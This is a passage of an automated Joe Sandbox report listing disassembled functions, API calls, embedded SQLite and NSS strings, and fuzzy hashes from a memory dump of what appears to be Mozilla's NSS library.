Opcode Fuzzy Hash: 3fffb7704d47f7ca0e982670ad3813204209ee51770a353db50ca38a3e1e2e97
Instruction Fuzzy Hash: 1D61B2B0E04305DBEB00DFA8DC81B9BB7B4AF48358F154128E819AB741EB31E955CB59

Function 6C5DADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE10
EnterCriticalSection.KERNEL32(?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C5BD079,00000000,00000001), ref: 6C5DAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAE7F
TlsGetValue.KERNEL32(?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAEF1
free.MOZGLUE(6C5BCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BCDBB,?), ref: 6C5DAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C5BCDBB,?,6C5BD079,00000000,00000001), ref: 6C5DAF30

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 5a67696f71e83383679313ff6cdcffaa64e578b99dc83fd7267706cf1906d7b9
Instruction ID: 6bee56379c17d5c15f9365d1afb9e60a3e0c329bc4776eb33dc0be079c1031e2
Opcode Fuzzy Hash: 5a67696f71e83383679313ff6cdcffaa64e578b99dc83fd7267706cf1906d7b9
Instruction Fuzzy Hash: 0E51ACB5A01702AFDB01DF29DC84B5AB7B4FF08318F054665E81897A11E731F8A4CBDA

Function 6C5B4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5BAB7F,?,00000000,?), ref: 6C5B4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C5BAB7F,?,00000000,?), ref: 6C5B4CC8
TlsGetValue.KERNEL32(?,6C5BAB7F,?,00000000,?), ref: 6C5B4CE0
EnterCriticalSection.KERNEL32(?,?,6C5BAB7F,?,00000000,?), ref: 6C5B4CF4
PL_HashTableLookup.NSS3(?,?,?,6C5BAB7F,?,00000000,?), ref: 6C5B4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C5B4D10

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C5B4D26

Part of subcall function 6C659DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DC6
Part of subcall function 6C659DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DD1
Part of subcall function 6C659DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C659DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C5B4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C5B4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C5B4E02

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ede3b8546df6c6af59ff144766fae80b932bd1e46e6ceff264ba710f5d9aedf6
Instruction ID: f5ce06eae2c4c8e7f79bc26fc89039733dd6a0573aaa1427a3fed517d155c026
Opcode Fuzzy Hash: ede3b8546df6c6af59ff144766fae80b932bd1e46e6ceff264ba710f5d9aedf6
Instruction Fuzzy Hash: 6641E7B5A00611AFEB119F69EC9096A7BB8BF45258F044570EC08D7B12FB31ED24C7E2

Function 6C59BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C59BFFB

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C59C015

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C59C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C59C04D

Part of subcall function 6C5E69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5E6A47
Part of subcall function 6C5E69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C5E6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C59C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C59C07B

Part of subcall function 6C598980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C597310), ref: 6C5989B8
Part of subcall function 6C598980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C597310), ref: 6C5989E6
Part of subcall function 6C598980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C598A00
Part of subcall function 6C598980: CERT_CopyRDN.NSS3(00000004,00000000,6C597310,?,?,00000004,?), ref: 6C598A1B
Part of subcall function 6C598980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C598A74

Part of subcall function 6C591D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C59C097,00000000,000000B0,?), ref: 6C591D2C
Part of subcall function 6C591D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C59C09B,00000000,00000000,00000000,?,6C59C097,00000000,000000B0,?), ref: 6C591D3F
Part of subcall function 6C591D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C59C087,00000000,000000B0,?), ref: 6C591D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C59C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C59C0C9

Part of subcall function 6C5A2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C59C0D2,6C59C0CE,00000000,-000000D4,?), ref: 6C5A2DF5
Part of subcall function 6C5A2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C59C0CE,00000000,-000000D4,?), ref: 6C5A2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C59C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59C0E3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 1211bb166d180135df5fdadf094d2daf6ded4966754b41e3f1f6601929111cfa
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 382177F694024567FB005A61AC81FFF32AC9B8175CF080174FD08DA647FB26E9198672

Function 6C592E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C592CDA,?,00000000), ref: 6C592E1E

Part of subcall function 6C5EFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C599003,?), ref: 6C5EFD91
Part of subcall function 6C5EFD80: PORT_Alloc_Util.NSS3(A4686C5F,?), ref: 6C5EFDA2
Part of subcall function 6C5EFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C5F,?,?), ref: 6C5EFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C592E33

Part of subcall function 6C5EFD80: free.MOZGLUE(00000000,?,?), ref: 6C5EFDD1

TlsGetValue.KERNEL32 ref: 6C592E4E
EnterCriticalSection.KERNEL32(?), ref: 6C592E5E
PL_HashTableLookup.NSS3(?), ref: 6C592E71
PL_HashTableRemove.NSS3(?), ref: 6C592E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C592E96
PR_Unlock.NSS3 ref: 6C592EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C592EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C592EC5

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 464346ece3773b5cc8de1e6b12f09dea51c14596004dee04de666685fd6f477a
Instruction ID: bc56aefedf7275d9c4234f1b9edab8ad5fac014fa85127b0588f805ee8bb43e5
Opcode Fuzzy Hash: 464346ece3773b5cc8de1e6b12f09dea51c14596004dee04de666685fd6f477a
Instruction Fuzzy Hash: CD212973E00140A7EF016B26FC89EAB3B79DB9234DF040171ED2886711FB32D958D6A9

Function 6C57FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C57FD18
sqlite3_initialize.NSS3 ref: 6C57FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C57FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C57FD99
sqlite3_free.NSS3(00000000), ref: 6C57FE3C
sqlite3_free.NSS3(?), ref: 6C57FEE3
sqlite3_free.NSS3(?), ref: 6C57FEEE

Strings

simple, xrefs: 6C57FC79

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 4bb0aa6ace41f2c0165705c4ca4c0873b3f47ecc5987610f34708fd7dd6e065d
Instruction ID: b117172bb6d5f407cda00a25f94ac47d761283ae328c481f15f142fe72c9f441
Opcode Fuzzy Hash: 4bb0aa6ace41f2c0165705c4ca4c0873b3f47ecc5987610f34708fd7dd6e065d
Instruction Fuzzy Hash: 94915FB0A05205DFDB14CF59CD80AAAB7B1FF85318F24C669DC199BB52D731E881CB60

Function 6C585CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C585EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C585EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C585ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C585E64
API call with %s database connection pointer, xrefs: 6C585EC3
invalid, xrefs: 6C585EBE
%s at line %d of [%.10s], xrefs: 6C585EE0
misuse, xrefs: 6C585EDB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: d977e3b1dc261d2d273b2cba93b3625c72f02a421fd676e5482f1a7dcd902329
Instruction ID: a1e2d6a66d312543fddab50e4d4aa320e43c350cbd3ba55ec4ed8d80eb5aeac3
Opcode Fuzzy Hash: d977e3b1dc261d2d273b2cba93b3625c72f02a421fd676e5482f1a7dcd902329
Instruction Fuzzy Hash: 3E81CE70B076219BFB19CF29CC88B6A77B0BF41308FA84669D8165BB41D730E902CB95

Function 6C56DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C56DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C56DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C56DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56DE52, 6C56DE81
%s at line %d of [%.10s], xrefs: 6C56DE61, 6C56DE90
database corruption, xrefs: 6C56DE5C, 6C56DE8B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: c74b31b7c02ac9e6430dd7d5c392f4f69629ded9057faefd3dda76312b2ce5b6
Instruction ID: 6b4b130214a0785019b008e5ff7d17bd2c0368b1250b55876b7569ed134cab04
Opcode Fuzzy Hash: c74b31b7c02ac9e6430dd7d5c392f4f69629ded9057faefd3dda76312b2ce5b6
Instruction Fuzzy Hash: 3C816E716047019FD714DF26CC80B6A77F1AF85308F258C2DE99A8BEA1EB35E845CB52

Function 6C51CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C51B999), ref: 6C51CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C51B999), ref: 6C51D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C51B999), ref: 6C51D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C51B999), ref: 6C66972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C51CFDD, 6C51D00E, 6C51D022, 6C51D033, 6C669780
%s at line %d of [%.10s], xrefs: 6C51CFEC, 6C51D018, 6C51D029, 6C51D03F, 6C66978B
database corruption, xrefs: 6C51CFE7, 6C51D013, 6C51D028, 6C51D039, 6C51D03E, 6C669786

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 8ce444a60dc8ebe13dfffbf9b23fb26d82687fc519e40b34a36b76e7039926aa
Instruction ID: 4ae3e916df6d1a5a7f7d66fa3651c4ee43841463cb7734c05899c6362b56cec6
Opcode Fuzzy Hash: 8ce444a60dc8ebe13dfffbf9b23fb26d82687fc519e40b34a36b76e7039926aa
Instruction Fuzzy Hash: 34610771A042108BD310CF29CC41BA6BBE5EF95318F18456DE4499FF42E376E946CBA6

Function 6C61FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C625B40: PR_GetIdentitiesLayer.NSS3 ref: 6C625B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C620113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C620130
PORT_Alloc_Util.NSS3(00000040), ref: 6C62015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6201AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C620202
free.MOZGLUE(?), ref: 6C620224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C620253

Strings

exporter, xrefs: 6C6200F7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: a5e1285eb5c3244d1bc8488f7da25781fa1f6c62dec17e95de6f77ab627c1632
Instruction ID: d3e8f5c15d80120295f97a401c60e6b52f06d573076a7d79a021d11c7ae340dd
Opcode Fuzzy Hash: a5e1285eb5c3244d1bc8488f7da25781fa1f6c62dec17e95de6f77ab627c1632
Instruction Fuzzy Hash: 466153719043899FEF018FA4CC14BEE73B6FF8930CF144228ED1A56A61EB359954CB59

Function 6C5F4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C5F536F,00000022,?,?,00000000,?), ref: 6C5F4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C5F4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C5F4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C5F4FAE
free.MOZGLUE(?), ref: 6C5F4FC8

Strings

oS_l", xrefs: 6C5F4DFB, 6C5F4EF4, 6C5F4EC5
%s=%s, xrefs: 6C5F4F89
%s=%c%s%c, xrefs: 6C5F4FA9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS_l"
API String ID: 2709355791-1205254361
Opcode ID: b18fe3ec5fe5e896d0ed43d8e25c63bc917fc472b7f45c8c6891602dadcb5097
Instruction ID: 4ed918c35a549e4d024cbb49eeded97f3041ca483e7f9b3124d35f7abd04674a
Opcode Fuzzy Hash: b18fe3ec5fe5e896d0ed43d8e25c63bc917fc472b7f45c8c6891602dadcb5097
Instruction Fuzzy Hash: 4A515B31E051468BFB09CA69CE907FF7BF59F46308F188126E9B4A7B41D32598478F92

Function 6C61EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C63A4A1,?,00000000,?,00000001), ref: 6C61EF6D

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

htonl.WSOCK32(00000000,?,6C63A4A1,?,00000000,?,00000001), ref: 6C61EFE4
htonl.WSOCK32(?,00000000,?,6C63A4A1,?,00000000,?,00000001), ref: 6C61EFF1
memcpy.VCRUNTIME140(?,?,6C63A4A1,?,00000000,?,6C63A4A1,?,00000000,?,00000001), ref: 6C61F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C63A4A1,?,00000000,?,00000001), ref: 6C61F027

Strings

dtls13, xrefs: 6C61EF33

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

